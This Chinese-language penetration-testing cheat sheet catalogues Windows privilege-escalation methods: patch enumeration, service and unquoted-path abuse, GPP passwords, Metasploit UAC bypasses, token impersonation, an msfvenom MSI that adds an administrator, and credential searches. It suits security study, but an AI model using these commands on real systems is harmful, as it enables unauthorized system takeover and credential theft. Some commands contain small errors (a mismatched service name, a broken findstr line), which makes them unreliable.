0x01 簡介
提權可分為縱向提權與橫向提權:縱向提權:低權限角色獲得高權限角色的權限;橫向提權:獲取同級別角色的權限。
Windows常用的提權方法有:系統內核溢出漏洞提權、數據庫提權、錯誤的系統配置提權、組策略首選項提權、WEB中間件漏洞提權、DLL劫持提權、濫用高危權限令牌提權、第三方軟件/服務提權等
0x02 按提權方法分類
2.1 系統內核溢出漏洞提權
此提權方法即是通過系統本身存在的一些漏洞,未曾打相應的補丁而暴露出來的提權方法,依托可以提升權限的EXP和它們的補丁編號,進行提升權限。
下面是幾個方便查找相應補丁漏洞的輔助查詢頁面:
https://github.com/ianxtianxt/win-exp-
https://github.com/SecWiki/windows-kernel-exploits
#手工查找補丁情況
systeminfo
Wmic qfe get Caption,Description,HotFixID,InstalledOn
#MSF后滲透掃描
post/windows/gather/enum_patches
#Powershell掃描
Import-Module C:\Sherlock.ps1
Find-AllVulns
2.2 系統配置錯誤提權
#Empire內置模塊
usemodule privesc/powerup/allchecks
execute
2.2.1 系統服務權限配置錯誤
Windows在系統啟動時,會伴隨着一些高權服務啟動,倘若某些服務存在一些漏洞,那么就能夠借此服務進行權限劫持
實現方法可借助:
1.Powershell中的PowerUp腳本
https://github.com/PowerShellMafia/PowerSploit/blob/master/Privesc/PowerUp.ps1
2.Metasploit中的攻擊模塊 #需要提前獲取一個session
exploit/windows/local/service_permissions
2.2.2 可信任服務路徑漏洞
如果一個服務的可執行文件的路徑沒有被雙引號引起來且包含空格,那么這個服務就是有漏洞的
MSF使用實戰:
#尋找存在漏洞的服務
wmic service get name,displayname,pathname,startmode | findstr /i "Auto" | findstr /i /v "C:\Windows\\" | findstr /i /v """
#msf攻擊模塊
exploit/windows/local/trusted_service_path
#正常接收到會話后,不久就會自動斷開連接,需要開啟命令自動遷移進程
set AutoRunScript migrate -f
2.2.3 計划任務
如果攻擊者對以高權限運行的任務所在的目錄具有寫權限,就可以使用惡意程序覆蓋原來的程序,這樣在下次計划執行時,就會以高權限來運行惡意程序。
#查看計算機的計划任務
schtasks /query /fo LIST /v
#查看指定目錄的權限配置情況
accesschk.exe -dqv "D:\test" -accepteula
2.3 組策略首選項提權
組策略首選項(Group Policy Preferences,GPP),詳情見謝公子的博客:Windows組策略首選項提權
#Powershell獲取cpassword
Get-GPPPassword.ps1
#Msf
post/windows/gather/credentials/gpp
#Empire
usemodule privesc/gpp
2.4 繞過UAC提權
backlion師傅有一篇博文,主要寫的就是這個:使用Metasploit繞過UAC的多種方法
#Msf
exploit/windows/local/ask #彈出UAC確認窗口,點擊后獲得system權限
exploit/windows/local/bypassuac
exploit/windows/local/bypassuac_injection
exploit/windows/local/bypassuac_fodhelper
exploit/windows/local/bypassuac_eventvwr
exploit/windows/local/bypassuac_comhijack
#Powershell
Invoke-PsUACme
#Empire
usemodule privesc/bypassuac
usemodule privesc/bypassuac_wscript
2.3 令牌竊取
#已經獲取到一個session
#方法一
meterpreter > use incognito
......
meterpreter > list_tokens -u
WIN-2HU3N1\Administrator
meterpreter > impersonate_token WIN-2HU3N1\\Administrator #注意:這里是兩個反斜杠\\
Successfully......
meterpreter > shell
C:\User\Administrator>whoami
WIN-2HU3N1\Administrator
#方法二,借用Rotten potato程序
https://github.com/foxglovesec/RottenPotato.git
meterpreter > use incognito
meterpreter > list_tokens -u
WIN-2HU3N1\Administrator
meterpreter > upload /root/Rottenpotato/rottenpotato.exe
Successfully
meterpreter > execute -HC -f rottenpotato.exe
Successfully
meterpreter > getuid
...NT AUTHORITY\SYSTEM
2.4 無憑證條件下的權限提升
Responder.py:https://github.com/SpiderLabs/Responder.git
0x03 按系統類型類型
3.1 Windows2000/2003、XP
3.1.1 at本地命令提權
在 Windows2000、Windows 2003、Windows XP 這三類系統中,我們可以輕松將 Administrators 組下的用戶權限提升到 SYSTEM
at 是一個發布定時任務計划的命令行工具,語法比較簡單。通過 at 命令發布的定時任務計划, Windows 默認以 SYSTEM 權限運行。定時任務計划可以是批處理、可以是一個二進制文件。
語法:at 時間 命令
例子:at 10:45PM calc.exe
該命令會發布一個定時任務計划,在每日的 10:45 啟動 calc.exe。我們可以通過 “/interactive”開啟界面交互模式:
在得到一個system的cmd之后,使用 taskmgr 命令調用任務管理器,此時的任務管理器是system權限,然后kill掉explore進程,再使用任務管理器新建explore進程,將會得到一個system的桌面環境
3.1.2 at 配合 msf提權
msf下生成木馬文件,at命令執行運行程序,上線后即為system
3.2 windows 7/8、03/08、12/16
3.2.1 sc命令提權
關於sc命令: SC 是用於與服務控制管理器和服務進行通信的命令行程序。提供的功能類似於“控制面板”中“管理工具”項中的“服務”。
sc Create syscmd binPath= "cmd /K start" type= own type= interact
這個命令的意思是創建一個名叫 syscmd 的新的交互式的 cmd 服務,然后執行以下命令,就得到了一個system權限的cmd環境:
sc start systcmd
3.2.2 AlwaysInstallElevated
AlwaysInstallElevated 是一種允許非管理用戶以SYSTEM權限運行Microsoft Windows安裝程序包(.MSI文件)的設置。默認情況下禁用此設置,需系統管理員手動啟用他。
可以通過查詢以下注冊表項來識別此設置:
[HKEY_CURRENT_USER\SOFTWARE\Policies\Microsoft\Windows\Installer] “AlwaysInstallElevated”=dword:00000001
[HKEY_LOCAL_MACHINE\SOFTWARE\Policies\Microsoft\Windows\Installer] “AlwaysInstallElevated”=dword:00000001
使用reg query命令查詢是否存在漏洞
C:> reg query HKCU\SOFTWARE\Policies\Microsoft\Windows\Installer /v AlwaysInstallElevated
or
C:> reg query HKLM\SOFTWARE\Policies\Microsoft\Windows\Installer /v AlwaysInstallElevated
如果系統沒這個漏洞,它將輸出錯誤:
ERROR: The system was unable to find the specified registry key or value.
如果存在漏洞,上面將輸出以下內容:
然后我們使用msfvenom生成msi文件,進行提權
msfvenom -p windows/adduser USER=rottenadmin PASS=P@ssword123! -f msi-nouac -o rotten.msi
msiexec /quiet /qn /i C:\programdata\rotten.msi
# /quiet 安裝過程中禁止向用戶發送消息
# /qn 不使用GUI
# /i 安裝程序
msf下的自動模塊
exploit/windows/local/always_install_elevated
3.2.3 Unattended Installs
自動安裝允許程序在不需要管理員關注下自動安裝。這種解決方案用於在擁有較多雇員和時間緊缺的較大 型組織中部署程序。如果管理員沒有進行清理的話,那么會有一個名為Unattend的XML文件殘存在系統上。 這個XML文件包含所有在安裝程序過程中的配置,包括一些本地用戶的配置,以及管理員賬戶。
全盤搜索Unattend文件是個好辦法,它通常會在以下一個文件夾中:
C:\Windows\Panther\
C:\Windows\Panther\Unattend\
C:\Windows\System32\
C:\Windows\System32\sysprep\
除了Unattend.xml文件外,還要留意系統中的sysprep.xml和sysprep.inf文件,這些文件中都會包含部署操作 系統時使用的憑據信息,這些信息可以幫助我們提權。
C:\Users\user\Desktop> dir C:*vnc.ini /s /b /c
#或者在名稱中包含關鍵詞的項目:
C:\Users\user\Desktop> dir C:\ /s /b /c | findstr /sr *password*
#或者可以在文件內容中搜索password之類的關鍵字:
C:\Users\user\Desktop>findstr /si password *.txt | *.xml | *.ini
#可以查詢注冊表,例如,字符串password:
reg query HKLM /f password /t REG_SZ /s
reg query HKCU /f password /t REG_SZ /s
在這些文件中通常包含用戶名和密碼,密碼使用base64編碼,並且在最后會附加”Password”,所以真正的密 碼需要去掉最后的”Password”。
#msf模塊
post/windows/gather/enum_unattend
{{uploading-image-95207.png(uploading...)}}
3.3 常用系統漏洞CVE
#Windows10
CVE-2020-0796 https://www.cnblogs.com/-chenxs/p/12618678.html
#Windows7/2008
CVE-2018-8120 https://www.cnblogs.com/-mo-/p/11404598.html
#Windows7/8、2008/2012/2016
CVE-2017-0213 https://www.cnblogs.com/-mo-/p/11446144.html
#SQL Server、IIS通殺 (針對本地用戶的,不能用於域用戶)
MS16-075(RottenPotato) https://github.com/SecWiki/windows-kernel-exploits/tree/master/MS16-075
參考鏈接
https://www.cnblogs.com/-mo-/p/12333943.html
http://hackergu.com/powerup-stealtoken-rottenpotato/
https://blog.csdn.net/Fly_hps/article/details/80301264
https://lengjibo.github.io/windows提權總結/